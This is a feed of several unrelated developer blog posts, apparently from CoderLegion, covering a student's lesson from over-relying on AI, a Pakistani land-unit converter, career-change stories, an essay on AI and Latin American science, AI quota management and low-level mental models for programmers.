And although I had a database, I didn't even know how to confidently explain it when someone asked me about it.

I had focused on building something that looked like a product.

I hadn't focused enough on becoming the person who understood the product.

That competition taught me a lesson that no tutorial could have taught me.

If you can't explain what you built, you don't really own it yet.

When Failure Started Feeling Personal

After the competition, I felt terrible.

It wasn't just disappointment in the project.

I started comparing myself with everyone around me.

Other students had good grades.

Some had club memberships.

Some had laboratory positions.

Others had competition medals.

I didn't have those things.

At home, the people who cared about me tried to guide me toward what they believed was the safer path.

Study hard.

Get a stable job.

Build a standard life.

Follow the path everyone understands.

And for a while, I questioned myself.

Maybe they were right.

Maybe I was wasting my time.

Maybe I should stop.

But eventually I came to a different conclusion.

I'd rather fail on my own path than succeed on someone else's.

That became an important turning point for me.

Stopping the Chase for Applause

Slowly, I stopped trying to prove myself.

Instead, I started documenting what I was learning.

I wrote about what I was studying.

I wrote about things I got wrong.

I wrote about things that confused me.

I wrote essays for people I had never met.

Before publishing something, I was always afraid that nobody would read it.

But people did.

Not necessarily thousands of people.

Sometimes just a few.

But they were real people.

And that mattered more than I expected.

I started realizing that learning didn't have to be a performance.

I could simply learn something because I wanted to understand it.

Rediscovering Why I Love Programming

One afternoon, I was sitting quietly in a library.

I opened my laptop and started writing some code.

There was no deadline.

No competition.

No audience.

No requirement to build a product.

No one was going to judge me.

I was just writing code.

I still don't completely know why I started writing that code that day.

But I know why I write now.

It reminded me of the first time I saw "Hello World" in the terminal.

Nothing impressive.

Nothing complicated.

And yet somehow meaningful.

That was when I started to understand that I genuinely enjoy technology.

Not just the recognition that can come from building something.

Not just the feeling of having a finished product.

The technology itself.

Finding a Community

Eventually, I started sharing my essays on a developer community called CoderLegion.

That gave me an opportunity to learn in public and interact with other developers.

Not everyone agreed with me.

And surprisingly, I started enjoying that.

I remember having a discussion with someone about raw pointers versus smart pointers.

We had different opinions.

But it didn't feel like an attack.

It felt like two people who genuinely loved technology looking at the same problem from different directions.

That experience changed the way I thought about developer communities.

A disagreement doesn't necessarily mean someone is against you.

Sometimes it simply means they have a different perspective.

And that can be valuable.

For me, that was one of the purest experiences I've had with technology.

It wasn't about winning.

It was about thinking.

What I Learned From Getting It Wrong

My first major project taught me something that I probably wouldn't have learned if everything had gone perfectly.

Building quickly isn't the same as understanding.

Using AI isn't the same as knowing how something works.

Getting something online isn't the same as building something well.

And receiving applause isn't the same as making progress.

AI was incredibly useful in helping me build that first project.

But I learned that the more important skill is being able to understand, question, debug, and explain what AI helps you create.

That lesson continues to influence how I learn today.

Learning in Public

Writing has become part of my learning process.

When I write about something, I have to organize my thoughts.

When someone disagrees with me, I have to reconsider my assumptions.

When someone asks a question I can't answer, I have something new to learn.

That's why I don't see writing as separate from programming.

For me, documenting my learning is part of learning itself.

My CoderLegion profile reflects much of what I'm currently interested in: Python, C++, backend development, AI, and learning.

I've also been writing about C++ topics such as smart pointers, STL, raw pointers, and the mistakes I've encountered while learning.

I'm still learning.

And I think that's an important part of my story.

I'm Still a Beginner in Many Ways

I haven't seen much of the world yet.

There are still many technologies I don't understand.

There are still problems I don't know how to solve.

I'm currently exploring areas such as machine learning and deep learning, while continuing to build my foundations in programming and backend development.

My journey is nowhere near finished.

Maybe that's the point.

I don't need to pretend that I've already figured everything out.

I just need to keep moving.

The Meaning Behind an Old Saying

There is an old saying from my country:

花有重开日，人无再少年

It can be roughly understood as:

Flowers may bloom again, but youth never returns.

I don't take that as a warning to hurry.

I take it as a reminder.

These years come only once.

So direction matters more than speed.

I don't need to rush toward someone else's definition of success.

I need to make sure I'm spending these years moving toward something I genuinely care about.

If You're a University Student Too

If you're also a university student, especially someone who feels behind other people, I hope you don't give up on your own path simply because someone else's path looks better.

You might not have the best grades.

You might not have the most impressive portfolio.

You might not win every competition.

You might build something with AI and later realize you don't understand it as well as you should.

You might fail.

I certainly have.

But failure doesn't have to be the end of the journey.

Sometimes it's the moment that forces you to ask what you actually want.

And sometimes that's more valuable than winning.

I'm Choosing My Own Path

When I look back at my first project, I don't feel proud of everything I did.

I made mistakes.

I relied too heavily on AI.

I cared too much about finishing quickly.

I built features without understanding the fundamentals deeply enough.

And I couldn't explain my own project when someone challenged me.

But I'm also glad it happened.

Because that failure forced me to slow down.

It pushed me toward learning instead of applause.

It encouraged me to document my journey.

It introduced me to people who see technology differently.

And it helped me understand why I actually enjoy programming.

I'm still learning.

I'm still making mistakes.

I'm still figuring things out.

But now, I'm spending my time on the path I chose.

I'd rather fail on my own path than succeed on someone else's.

And for now, that's enough.

About Elias Song

Elias Song, known as @elysianx on CoderLegion, is a tech explorer documenting their programming journey.

Based in Hong Kong, Elias is exploring Python, C++, backend development, and AI.

Their technical interests include:

Python
C++
FastAPI
Flask
Redis
Docker
Linux
LangChain
Git

They are currently exploring machine learning and deep learning.

Elias also writes about their experiences learning C++, including smart pointers, STL, raw pointers, and the mistakes and lessons they encounter along the way.

View Elias Song's full CoderLegion profile:
https://coderlegion.com/user/elysianx

About This Developer Story

Developer: Elias Song (@elysianx)

Series: CoderLegion Developer Stories

Written by: Elias Song

Edited by: Mehadi Hasan, Community & Editorial Team, CoderLegion

This Developer Story is based on Elias Song's personal experience learning programming, building their first project, facing failure, discovering the value of learning for themselves, and finding a stronger connection with technology through writing and community.

Marla to Gaj (Square Yard) Conversion: A Simple Tool I Built for My Local Marketplace

Thu, 10 Sep 2026 18:45:17 +0000

If you've ever bought or sold property in Pakistan, you've run into this problem: land size gets quoted in marla, kanal, square feet, or gaj (square yards) — often interchangeably, depending on who you're talking to. A property dealer might tell you a plot is "5 marla," while the registry documents list it in square yards, and a buyer coming from a different city might only think in gaj.

That mismatch causes real confusion — and sometimes real money lost — during property deals.

So when I was building Connect Bazaar, a local marketplace and services platform for Pirpiai and Nowshera, I added a simple Marla to Gaj calculator as part of a broader Property & Land tools section.

Here's the conversion logic, and why a dedicated tool beats just Googling the number.

The Basic Conversion

In most of Pakistan, the standard conversion used is:

Unit	Equals
1 Marla	≈ 30.25 square yards (gaj)
1 Kanal (20 Marla)	≈ 605 square yards (gaj)

Marla → Gaj

Gaj = Marla × 30.25

Gaj → Marla

Marla = Gaj ÷ 30.25

Simple math — the friction isn't the formula, it's that nobody wants to redo it manually every time, especially when comparing several plots or double-checking what a dealer just quoted.

Why a Dedicated Calculator Actually Helps

Speeds up real decisions. Comparing 3–4 plots quoted in different units? Converting everything to one unit makes the comparison honest and fast.
Reduces reliance on the dealer's math. Buyers can independently verify what they're being told — which matters a lot in informal or semi-formal property markets.
One less spreadsheet. A shared, always-available tool replaces everyone's personal napkin-math formula.
How It Fits Into Connect Bazaar

The calculator lives inside the Property & Land tools category, alongside other land conversion tools (marla, kanal, square feet, plot area). It's built mobile-first, since most users check it standing on-site at a plot or mid-conversation with a dealer — not sitting at a desk.

Try it here: Property & Land Tools on Connect Bazaar

If you're building something similar — a local utility site, a regional marketplace, or any tool involving unit conversions people rely on for real transactions — I'd love to compare notes in the comments.

What conversion or utility tools have you found genuinely useful (not just "nice to have") on a niche or local website?

From Pro Disc Golf to Code: My Journey to Become a Full-Stack Developer

Thu, 10 Sep 2026 17:47:47 +0000

A year ago I was walking new construction homes as a field manager. I managed the installation of tile wood and carpet in new construction homes. It’s served my family and I well, and put me in situations of self growth I would have never gotten otherwise. But I hit a wall and upward mobility was stagnant. Before I was a field manager I was a professional disc golfer. It was always an adventure, I got to tour the country playing tournaments and teaching clinics. That era instilled in me a deep understanding of planning, discipline, and the power of creating systems to excel.

Current day… I am obsessed with coding. My mind is always buzzing with what I am currently learning, and what technical puzzle I am solving at the time. This passion ignited on a whim last year. I was sent a link to web development coding bootcamp from a family friend. In a whirlwind I called my amazingly supportive wife, and within 20 minutes I was enrolled in the bootcamp. Class started that same day. I had a buzzing in my body, that had me excited and scared all at the same time.

The challenges, the creativity, and the complex problem-solving drove me to fall deep into coding. This post marks the beginning of me sharing my journey. From fairway to construction site to becoming a full stack developer.

Graduating bootcamp last June, the pressure to secure a job intensified with our first child due in February. Despite relentless effort, not a single interview materialized between June and August. Providing for my family meant "biting the bullet" and returning to construction. It felt like taking a quadruple bogey on the tournament's final hole, but just like in disc golf, mental resilience became key. I pivoted. I recognized my skills weren't "up to snuff," especially with AI raising the industry bar. My love for coding made the decision clear: Rise and grind.

That "quadruple bogey" taught me not to let one bad hole ruin the entire round. I went back into the lab and re-evaluated my coding habits and systems, realizing there was immense room for improvement. The "get rich quick" mentality wasn't working. My focus shifted to a long-term, sustainable journey of growth.

One year into this revised plan, I'm already seeing progress. I'm currently interning, building the syllabus website for the very bootcamp I attended – a full-circle moment. This valuable experience, coupled with freelance work and my dedicated side project, is where I'm gaining real-world skills. My current side project, a Disc Golf Course and Round Tracker, directly reinforces my internship learnings in PHP and SQL, allowing me to immediately apply and practice what I'm currently using.

While PHP and SQL aren't my primary languages, this hands-on experience has been truly eye-opening, revealing just how much React streamlines development under the hood. Building reusable OOP components in PHP has definitely made me itch to return to React's ecosystem! Once this internship concludes, my focus shifts to an even bigger project I'm eager to tackle: a MERN stack application.

The road from professional disc golf and construction management to becoming a full-stack developer is proving to be a true test of grit and adaptability. It's a journey I'm embracing fully, learning new languages and paradigms with every step. I'm committed to building a solid portfolio and making this career transition a success. Through this blog, I aim to share the raw, unfiltered experience the “aces” and the "bogeys" if you will. I hope to connect with others on a similar path. Join me as I continue to build, learn, and grow in the world of web development.

The AI Era: Democratizing the Ivory Tower and Reclaiming the Latin American Mind

Wed, 09 Sep 2026 13:24:55 +0000

When you view the academic, professional, and technological worlds through the intersectional lens of a woman born and raised in the Global South, you quickly learn to look at every first-world narrative with absolute skepticism. For decades, the intellectual establishment of the global North has built massive, impenetrable walls around knowledge, dictating who gets to speak, who gets to write, and who counts as an authority. They have constructed an intricate system of gatekeeping designed to protect their prestige, maximize their fame, and extract the raw intellectual and natural resources of the rest of the world while leaving the creators in the footnotes.

For a long time, I lived with an intense, suffocating sense of self-doubt. I questioned whether my perspective was relevant, whether my observations had value, and even whether I had the right to claim the labels that describe my own existence. It is a common crisis of identity for those of us from Brazil. We trap ourselves in a bizarre linguistic limbo, wondering: Can I truly call myself Latina? Because first-world media and American-centric bureaucratic boxes heavily dominate global culture, the world has been conditioned to treat "Latino" as a concept synonymous only with Spanish speakers.

But this is a superficial, historically illiterate flattening of our reality. The very word "Latino" traces its lineage directly back to the Latin language of the Roman Empire, the root from which all Romance languages evolved. Spanish is a Latin-derived tongue, but so is Portuguese. To deny a Brazilian woman her identity as a Latina is to succumb to a geographic and administrative distortion invented by first-world institutions to simplify their demographics. Brazil is the largest, most populous, and geographically dominant nation in Latin America. When we claim the title of Latina, we are not borrowing a Spanish word; we are reclaiming our geography, our history, our language’s Roman lineage, and our collective place in the historic struggle against institutional exclusion.

The fact that we feel we must ask permission to use a word that defines our own home continent is the ultimate proof of how deeply the gatekeepers have succeeded. They have not only monopolized international publishing, funding loops, and prestigious prizes; they have colonized our internal sense of worth. When you look at the history of science and medicine, you realize this pattern of systemic extraction and erasure is centuries old.

The Footnotes of Empire: Ferreira, Chagas, and Finlay

The history of first-world academic prestige is a history of extraction. They take our raw data, our clinical observations, and our natural resources, process them through the rigid machinery of Western institutions, and brand the final product with a first-world trademark.

Consider the tragic case of Dr. Sérgio Henrique Ferreira. In the 1960s, working out of the University of São Paulo in Ribeirão Preto, Dr. Ferreira conducted brilliant, foundational research on the venom of the Bothrops jararaca pit viper. He succeeded in isolating the Bradykinin-Potentiating Factor (BPF), a discovery that unlocked the molecular mechanics of blood pressure regulation. This exact molecule became the indispensable biochemical blueprint for Captopril, the world’s very first ACE inhibitor, which went on to revolutionize cardiology and save millions of lives across the globe.

Yet, when Ferreira traveled to London to collaborate with his colleague Sir John Vane, co-authoring pioneering papers that mapped how aspirin inhibits prostaglandins to treat pain, the historical script played out precisely as written. In 1982, John Vane was awarded the Nobel Prize in Physiology or Medicine for those exact discoveries. The British supervisor received immortal glory, historical statues, and global fame, while the brilliant Brazilian mind whose hands-on expertise and venom-derived mechanics fueled the breakthrough was left out of the spotlight, transformed into an invisible column in an institutional ledger.

This pattern repeats across what the West patronizingly labeled "tropical medicine"—a term historically used to ghettoize the medical brilliance of the Global South as exotic and localized, rather than universal. In 1909, working inside a modified railway car in the interior of Minas Gerais, Carlos Chagas achieved a medical triumph that no European or American scientist had ever accomplished before, and none has duplicated since. He single-handedly discovered, isolated, and fully described a completely new infectious disease. In a single, historic sweep of independent execution, Chagas identified the parasite (Trypanosoma cruzi), the insect vector (the barbeiro), the domestic animal hosts, and the entire clinical manifestation of the disease that now bears his name. He was nominated for the Nobel Prize in 1913 and 1921. He never won. The Eurocentric committees simply could not stomach awarding the highest badge of scientific immortality to a Brazilian doctor working with a shoestring budget out of a train car.

We see the exact same corporate and academic gaslighting in the story of Cuban physician Carlos Juan Finlay. In 1881, Finlay discovered that yellow fever was not an airborne miasma, but a vector-borne disease transmitted specifically by the Aedes aegypti mosquito. For two decades, the elite medical establishments of Europe and the United States openly mocked him, dismissing his vector theory as an unscientific, backward colonial delusion. Decades later, when the U.S. Army Yellow Fever Commission led by Walter Reed arrived in Havana, they used Finlay's exact data, adopted his exact mosquito-breeding methods, confirmed his thesis, and claimed the absolute credit. Today, first-world textbooks worship Walter Reed as the heroic conqueror of yellow fever, while Finlay is pushed into the shadows of the historical narrative.

Worshiping the Gods of Condescension: Darwin and Einstein

We are trained to revere these institutions and their foundational giants, yet if you open the private notes of the men whose statues decorate first-world universities, their unfiltered colonial disdain for our people becomes glaringly obvious.

Take Charles Darwin, who is canonized in first-world textbooks as a saint of progressive thought and a fierce abolitionist who detested slavery. It is true that he wrote with absolute horror about the human atrocities he witnessed enslaved people suffering in Rio de Janeiro and Pernambuco. But academia completely hides his secondary worldview. When you open his private diaries from his time in Rio, specifically his entry on July 3, 1832, his Eurocentric, aristocratic bias is completely unfiltered. He wrote that the local Brazilians were:

“Ignorant, cowardly, & indolent in the extreme... contented with themselves & their customs, they answer all remarks by asking ‘why cannot we do as our grandfathers before us did’.”

He dismissed an entire population as naturally lazy and backward simply because they did not live, think, or perform according to 19th-century British standards.
Fast forward nearly a century later to May 1925, and you see the exact same toxic elitism from Albert Einstein during his week-long visit to Rio de Janeiro. To the Brazilian public, his visit was a monumental event; local scientists, doctors, and politicians treated him like a visiting deity, packing lecture halls and hosting grand banquets in his honor. But when Princeton University Press published The Travel Diaries of Albert Einstein: South America, 1925, his private thoughts were laid bare. Before even setting foot on the continent, Einstein wrote a letter to a friend complaining about the journey, stating: “I have no desire to meet semi-acculturated Indians wearing tuxedos.” Once there, surrounded by Brazilian academics who revered him, he wrote a cynical, chilling line in his diary:

“Here I am a kind of white elephant to the others, they are monkeys to me.”

He even went out of his way to privately refer to Dr. Aloysio de Castro—the highly respected, brilliant head of the Faculty of Medicine in Rio—as “a real monkey.” Einstein was actively operating under the pseudo-scientific racist framework of "geographical determinism"—the colonial belief that living in hot, humid tropical climates naturally "softened" human cognitive faculties, rendering people of the Global South inherently inferior to Europeans.

Hearts Carved from Grit: Surgical Mastery vs. First-World Budgets

But history completely exposed their intellectual arrogance. While the giants of the West were busy writing us off as cognitively compromised by the tropical heat, our clinicians and surgeons were quietly redefining modern medicine. We did not have their multi-million-dollar endowments, their imperial laboratories, or their structural safety nets. What we had was raw intelligence, spatial geometry, and unmatched grit under pressure.

Because our medical systems operated under severe resource deficits, our doctors had to master the absolute peak of clinical execution. We became global masters of the most delicate, volatile, and unforgiving domain of medicine: surgery.

It was the brilliant Argentinian surgeon Dr. René Favaloro who revolutionized global cardiac care by inventing the modern coronary artery bypass graft surgery using the saphenous vein. His structural breakthrough continues to save millions of human lives every single year across every continent on Earth. It was the Brazilian surgeon Dr. Euryclides de Jesus Zerbini who, in 1968, performed the first heart transplant in Latin America and the third in the entire world. He executed a complex surgical intervention of stunning difficulty at a standard that the elite medical circles of Boston and London were forced to respect.
We have always possessed an extraordinary, highly sophisticated scientific and manual capacity; we were simply denied the infrastructure, the funding loops, and the imperial prizes meant to validate it.

The Hidden Curriculum: Prepping for the Mongrel Complex

The most insidious element of this global gatekeeping is that it forces us to internalize our own exclusion. I experienced this firsthand growing up in Brazil. My parents paid for me to attend elite, high-tier private schools like Objetivo—institutions explicitly designed to prepare the children of the comfortable class to pass rigid academic entry exams. You would assume that a premium, highly paid education would offer a perspective of national pride and historical grounding. The opposite was true.

The entire hidden curriculum of those expensive classrooms implicitly conditioned us to believe our own country was an inherently broken, backward, and hopeless void. It was the ultimate systemic execution of what the great Brazilian writer Nelson Rodrigues called the complexo de vira-lata (the mongrel complex)—the collective psychological trauma where we voluntarily place ourselves at the feet of the Global North, automatically assuming that everything they produce is superior, civilized, and true, while everything we generate is primitive and flawed.

Nobody in those private schools ever felt the need to look us in the eye and tell us how brilliant our history was, or what our scientists had actually built. They trained us to memorize first-world templates for validation, leaving me to rescue myself and discover our rich scientific legacy later in life, entirely by myself. If our own premier national institutions train us to apologize for our intellect, why should we expect first-world academic structures to wear anything but a mask of exclusion? The Ivory Tower has always been an exclusive club with very high walls.

The AI Sanctuary: Outsourcing Noise and Escaping Human Egos

This is why the current, frantic panic over Artificial Intelligence is so profoundly fascinating to watch. Suddenly, the academic and media elites of the internet are terrified of intellectual dishonesty and the loss of critical thinking. They scream about copyright, data scraping, and the dilution of human integrity, as if the traditional human systems they are defending weren't already plagued by systemic theft, extraction, plagiarism, and gatekeeping long before the first line of AI code was ever compiled.

While I agree with valid technical critiques regarding environmental resource consumption and algorithmic bias, the loudest moral outcries haven't convinced me. Bad work, cheating, performative posturing, and structural injustice are human traits, not the fault of the code. They will always exist with or without the algorithm. The current tech panic isn't about protecting "truth"; it is about human ego. The academic elite is terrified because they are losing their historic monopoly on authority, their control over information, and their fame. Everyone on social media wants to scream louder than the rest, posing as the next Socrates, while forgetting that true knowledge meant to better the world doesn't need a public relations campaign.

For me, as a neurodivergent Latina navigating these rigid human systems, the reality of AI is deeply personal and transformative. Living with ADHD and Autism means my brain operates as a bottom-up pattern-recognition engine, producing a relentless, exhausting amount of internal cognitive noise.

I live in a perpetual loop of self-doubt, manually analyzing my environment, trying to predict unspoken social expectations, and managing the hyper-volatile emotional states of the people around me—a process that ultimately leads to severe burnout. I was never built for their neurotypical social standards.

In a world like that, interacting with a Large Language Model provides a profound baseline of psychological relief. Because the algorithm processes data mathematically rather than emotionally, it possesses no ego to bruise and no social status to protect. I can ask a machine a dense technical question without a human getting defensive, getting emotional, or assuming I am defying their authority. It is an objective sanctuary where I am completely free from the fear of being bullied, judged, or socially penalized just for wanting to learn and understand. Far from encouraging intellectual laziness, this friction-free loop has allowed my critical thinking to explode. It acts as an executive function exoskeleton, handling the structural heavy lifting of syntax and linear organization so my raw, systemic logic can handle the architecture of the project.

High-Dimensional Spaces and the Equalizing Algorithm

For a non-native speaker, staring at a blank screen is rarely a symptom of a missing idea; it is the paralyzing, resource-heavy drag of an inefficient translation loop. When I write, my mind is forced to run a constant background cycle: first, gathering the hyper-detailed, non-linear patterns of my observations in Portuguese, and then forcing those concepts through the rigid bottleneck of standard corporate English syntax.
When you look past the chatbot interface and understand the underlying data science, you realize why AI shifts this paradigm entirely. Before an LLM processes a single token, it maps language into high-dimensional vector spaces called text embeddings.

[Raw Human Thought / Intent]
            │
            ▼
[High-Dimensional Vector Space]  <─── Maps pure semantic meaning mathematically
            │
            ▼
[Target Language / Syntax Output]

In this mathematical space, words are converted into coordinate vectors where concepts with similar meanings cluster together based on their actual semantic relationships and universal human definitions, entirely divorced from regional prestige, accents, or institutional status. It maps the pure geometry of human thought.

The empirical data proves that this mathematical floor is actively working as a powerful tool for global justice. A massive study evaluating the impact of Generative AI analyzed the stylistic evolution of 5.6 million scientific papers authored by teams across non-English-speaking countries. The researchers tracked linguistic similarity to international publishing benchmarks and discovered that following the public release of ChatGPT, papers authored by scientists from non-English-speaking countries saw a massive, rapid convergence toward standard publishing standards.
Crucially, this equalizing effect was strongest for domestic co-author teams and researchers working in countries linguistically far from English—the exact groups that face the highest risks of peer-review bias and completely lack the massive capital required to pay for expensive first-world translation and editing services.

The algorithm didn't do the thinking for these scientists; it gave their existing, brilliant thinking a linguistic exoskeleton, allowing their ideas to stand on their actual scientific and empirical merit rather than their author's native tongue or academic pedigree. It allows an independent operator in South America to completely bypass the peer reviewers who would historically reject a revolutionary paper simply for "awkward wording."

Critics love to counter that these tech conglomerates are unethical because they scraped our collective "content, information, and lives" to train their models without explicit permission. But honestly? The Global North has been copying, stealing, and extracting our concepts, our history, and our natural venom for centuries without asking. Personally, I don't possess millions in corporate assets or classified state secrets. Let them scrape my data. If my digital footprint helps fuel a machine that acts as a linguistic equalizer—allowing a marginalized kid from a broken background to write an essay or compile a piece of code that can smash through a biased gatekeeper—it is a trade-off I am entirely willing to make.

I used to carry a deep, quiet regret about leaving my formal academic life behind. I used to look back and wish I hadn't given up, believing that if I had only stayed inside those traditional walls, I could have built something meaningful. I used to think my voice from the outside was completely irrelevant. But looking at this massive technological shift, I realize that a perspective from the outside is exactly what is needed. AI isn't ruining the intellectual world; it is exposing the fact that the Ivory Tower was always built on a foundation of exclusion. The walls are finally coming down, and we don't need their permission to speak anymore.

How I Survived the Silent AI Upgrades (And Shifted My Workflow)

Wed, 09 Sep 2026 13:24:29 +0000

The Day the Premium Quotas Melted

We’ve all seen the massive marketing headlines celebrating multi-million token context windows. So when I scored access to the Google AI Pro student tier, I figured I was completely set.

My journey into the anatomy of a prompt didn’t happen overnight; it started a while back when I was experimenting with visual generation in Adobe Firefly. By August of last year, I got deep into language models, eventually using them to power through my EBAC programming course and moving my coding workflows directly into Antigravity IDE. Over nearly a year of continuous, everyday use, I learned exactly how these systems tick. As an aspiring developer, I optimized my prompts, mapped out constraints, and treated the LLM like a highly predictable engine to accelerate my learning.

Naturally, I put my established setup to the test. I uploaded my personal documentation, technical archives, and coding references into the newly rebranded Gemini Notebook (formerly NotebookLM), running Flash Extended to handle the retrieval. I wasn't even running heavy Pro-level operations—just a routine pass to extract milestones and start drafting a profile.

Then, I asked a few formatting questions, checked my usage dashboard, and watched in pure disbelief as 50% of my rolling 5-hour compute quota completely evaporated in a matter of minutes.

I hadn't changed my source files. I hadn't switched models mid-session. But the architectural ground shifted anyway. Here is exactly what is happening under the hood with these silent AI infrastructure rollouts, and how a junior dev's workflow had to change overnight to survive the token crunch.

1. The Background Agent Tax

We used to think of Large Language Models as linguistic calculators—they predicted the next most probable word based on pattern matching.

But with recent infrastructure upgrades, the underlying architecture has evolved into something much more complex. When you ask a modern AI assistant a complex analytical question over your documents, it doesn't just read the text anymore. The system silently provisions a secure cloud computer, writes a custom Python script to parse your sources, executes it, and formats the output.

Because the Gemini ecosystem now shares parts of the same agentic code-execution harness used by Antigravity IDE, it treats your documents like an active environment. While this makes the AI incredibly precise and practically eliminates linguistic math hallucinations, it comes with a massive compute surcharge. Every background execution loop, sandboxed environment state, and data variable has to be held in the active context window. You aren't just paying for the words you read; you are paying the operational runtime of a background software engineer.

2. Aggressive Context Slicing

To prevent web interfaces from lagging under the weight of these massive agentic loops, consumer applications are quietly implementing context slicing and extreme text compression behind the scenes.

Once your conversational history crosses a certain threshold or accumulates too many background code-execution logs, the interface stops passing the entire thread to the model. Instead, it relies on silent retrieval chunks. This is why an AI you’ve been working with seamlessly for an hour will suddenly "forget" a critical formatting rule or a core naming convention you established in prompt #2.

My New AI Survival Blueprint: Ecosystem Hopping

To keep my workflows efficient and stop burning through my daily student compute caps by noon, I’ve completely restructured how I interact with LLMs. The secret? You have to jump across different Google products strategically to keep your tokens alive.

Separating Extraction from Iteration: I no longer do creative drafting or iterative formatting inside data-dense notebooks. I use the notebook once to let the agent parse the files and extract a clean, structured text baseline or chronological milestone list.
The "Clear Slate" Migration: Once I have that raw text block, I copy it out, close the heavy workspace entirely, and paste it into a completely fresh, standard chat window. By decoupling the heavy data-parsing engine from the creative-writing layer, my compute footprint drops to near zero.
Graduating to Developer Environments: For complex programming or tracking intricate data structures where memory loss is a project-killer, I step outside the consumer web wrappers and jump into Google AI Studio. Getting raw model access gives you deterministic control over your context window and absolute visibility over your exact token count, completely bypassing the aggressive background agent surcharges.

The Takeaway: AI isn't just getting bigger; it's getting hungrier. Even if you've spent a year mastering the tool, hold premium tier access, and use it to power through coding bootcamps, if you don't actively manage your context architecture, the infrastructure will manage it for you—usually at the expense of your active memory. As developers, our job isn't just to write code; it's to understand the systems we build upon. And right now, navigating the AI layer demands a completely new style of resource management.

The power of mental models for developers

Wed, 09 Sep 2026 11:26:43 +0000

Down the memory lane

Some developers don’t understand memory.
They understand new, delete, or garbage collection. And again — that’s just the surface.

Memory is not a flat, uniform space.
It’s a hierarchy:
• registers
• multiple levels of cache
• RAM
• virtual memory managed by the OS
Each layer has different latency and behavior.

But we usually learn memory management like this:
“allocate object → use it → free it”
So we assume: as long as memory is “managed”, everything is fine.
It’s not.

Performance is often dominated by:
• cache locality
• allocation patterns
• fragmentation
• allocator contention

That’s why two identical algorithms can have wildly different performance
depending on how data is laid out in memory.

Using smart pointers doesn’t mean you understand memory. It means you’ve delegated part of the problem. Which is fine — until it isn’t.

If you care about performance, you need to understand:

how data moves,
how it’s cached,
and how it’s allocated.

Because in the end:
It’s not about what your code does.
It’s about how it lives in memory.

Building blocks

Data types are one of the most misunderstood fundamentals.
Because we don’t really learn what they are.

We learn their names: int, float, bool - feel like simple building blocks.
But underneath, they are:
• bit patterns
• rules of interpretation
• operations defined over those bits
Without that model, decisions become guesswork.

Like using signed integers for sizes.
A size is a count. It cannot be negative.

But if your type allows negative values, you’ve already introduced invalid states into your system.
This leads to subtle bugs:
• overflow issues
• signed/unsigned comparison traps
• edge cases that “should never happen” — but do

The deeper issue is this:
A type is not a label. It’s a constraint on reality.

If you don’t understand:
• binary representation
• overflow behavior
• how arithmetic actually works at the hardware level
then you’re not choosing types. You’re guessing.

And sometimes guessing is enough.
Until it isn’t.

We teach developers what to write.
We rarely teach them what it means.

Concurrency

Some developers don’t learn concurrency. They learn async/await or whatever concurrency utilities their favorite language or framework provides. And those are not the same thing.

Threads are not a language feature. They exist at the OS level, run on physical CPU cores, and compete for shared memory and cache.

But many of us first encounter concurrency through: Python, C++, Java, or some framework API.
So our mental model becomes: “this is how concurrency works.”
It’s not.
It’s just how one runtime exposes it.

That’s why things feel unpredictable:
• “Why do I still get race conditions?”
• “Why is my async code slower than sync?”
• “Why doesn’t this scale across cores?”
Because underneath:
• the OS scheduler decides who runs
• context switching is not free
• cores share memory with non-uniform latency
• caches can invalidate each other

If you don’t understand that layer, you’re not really reasoning about concurrency.
You’re just using it.

To be clear — that’s fine at the beginning.
But the moment you care about performance or correctness under load,
you have to go down the stack.

Hardware → OS → runtime → language.
Not the other way around.

Otherwise you’re not solving concurrency problems.
You’re operating an API.

Abstractions are just tools

In previous chapters I talked about:
• concurrency
• memory
• data types

At first glance, these look like different topics.
They’re not.

They all share the same root problem:
We learn abstractions… without understanding what they abstract.

We learn:
• async/await instead of how threads are scheduled
• new/delete instead of how memory behaves
• int/float instead of how data is represented

So our mental model becomes: “this is how the system works”
When in reality: “this is how one layer exposes it”

And most of the time, that’s enough.
Until it isn’t.

The cracks appear when:
• performance matters
• systems scale
• bugs become non-deterministic
• behavior stops matching intuition

That’s when abstraction stops helping and starts hiding the problem.

This doesn’t mean everyone must become a hardware engineer.
But it does mean:
If you want to reason about systems, you need to understand the layers below them.

A simple rule that helped me:
When something feels “weird” or unpredictable — you’re probably missing a layer in your mental model.

Go one level deeper:
hardware → OS → runtime → language.
That’s usually where the answer is.

Abstractions are tools.
But understanding is leverage.

Mental model

A fair question may come up:
“How do I actually learn all these lower layers without going down a 5-year rabbit hole?”

Short answer:
You don’t need to learn everything. You need to learn just enough to build a mental model.

Here’s what actually works.

Learn one layer below your current work
If you’re writing application code → learn runtime behavior
If you’re using runtime features → learn OS basics
If you’re already there → peek into hardware
Don’t jump straight into CPU manuals. Go one step down.
Learn through problems, not theory
Don’t start with textbooks.
Start with questions like:
• “Why is this slower than expected?”
• “Why does this break under load?”
• “Why does this behave differently on another machine?”
Then dig until you hit the real cause. That’s where learning sticks.
Build small, focused experiments
You don’t need big projects.
Try things like:
• write a tiny thread pool
• measure cache effects with different data layouts
• intentionally create a race condition and observe it
• compare contiguous vs scattered allocations
You’ll learn more from one experiment than from hours of passive reading.
Use tools that show reality
Start simple:
• profilers (CPU, memory)
• timing measurements
• system monitors
Look at what the system is actually doing — not what you think it’s doing.
Accept partial understanding
You don’t need to master everything.
If you walk away knowing:
• caches exist and affect performance
• threads are scheduled, not “run” by your code
• memory is not uniform
you’re already ahead of most developers.
Go deeper only when it pays off
Not every problem needs low-level knowledge.
But when something feels:
• slow
• unpredictable
• “magical”
that’s your signal to go down a layer.

You don’t need to become a systems expert.
But you do need to know when the abstraction stops being enough.
That’s the real skill.

The Microsoft Learn Roadmap I Would Give a First-Year CS Student

Tue, 08 Sep 2026 16:37:09 +0000

When I talk to first-year computer science students, I notice the same pattern almost every time.

Someone has a playlist for Python.

Someone else says you should learn C++ first.

A YouTuber recommends learning cloud.

Another says AI is the future.

Then there are certifications, GitHub projects, roadmaps, coding platforms, hackathons, and dozens of tabs sitting open in the browser.
The result?

A lot of students spend more time planning what to learn than actually learning.

I think this happens because we're exposed to an endless amount of technology content from day one. Every topic sounds important. Every roadmap looks urgent. Every certification seems like something we should start immediately.

The mistake isn't curiosity.

The mistake is trying to learn everything at once.
Over time, I've become convinced that structured learning beats collecting tutorials.

A hundred bookmarked videos don't automatically create progress. A clear sequence of skills usually does.

If I were advising a first-year CS student today, this is the roadmap I would suggest. It's practical, realistic, and designed to fit alongside university studies instead of competing with them.

Stage 1: Build Programming Fundamentals First

This stage is not exciting.
That's exactly why it's important.
